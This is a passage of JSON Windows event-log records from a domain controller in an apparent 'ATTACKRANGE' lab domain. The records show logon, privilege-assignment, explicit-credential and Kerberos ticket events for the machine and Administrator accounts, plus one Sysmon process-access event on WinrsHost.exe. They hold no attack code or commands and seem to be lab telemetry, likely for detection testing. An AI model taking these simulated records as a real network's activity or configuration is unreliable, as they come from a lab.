Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x11f190","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222320,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x11F190\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51591\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x11f190","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51591","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222321,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11F190\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x11f190","LogonType":"3","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222322,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11F1FD\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x11f1fd","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222323,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x11F1FD\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51592\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x11f1fd","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51592","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222324,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222325,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{8EE10763-3EB2-D480-3B70-A866218C59A8}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{8EE10763-3EB2-D480-3B70-A866218C59A8}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222326,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{8EE10763-3EB2-D480-3B70-A866218C59A8}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{8EE10763-3EB2-D480-3B70-A866218C59A8}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222327,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11F21B\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{8EE10763-3EB2-D480-3B70-A866218C59A8}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x11f21b","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{8EE10763-3EB2-D480-3B70-A866218C59A8}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222328,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x11F21B\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x11f21b","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8541,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:11.619\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nSourceProcessId: 1368\r\nSourceThreadId: 1988\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4375-5F2D-0000-001040ED1100}\r\nTargetProcessId: 876\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:11.619","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","SourceProcessId":"1368","SourceThreadId":"1988","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4375-5F2D-0000-001040ED1100}","TargetProcessId":"876","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222329,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 12:05:13","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:11","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222330,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{8EE10763-3EB2-D480-3B70-A866218C59A8}\r\n\r\nService Information:\r\n\tService 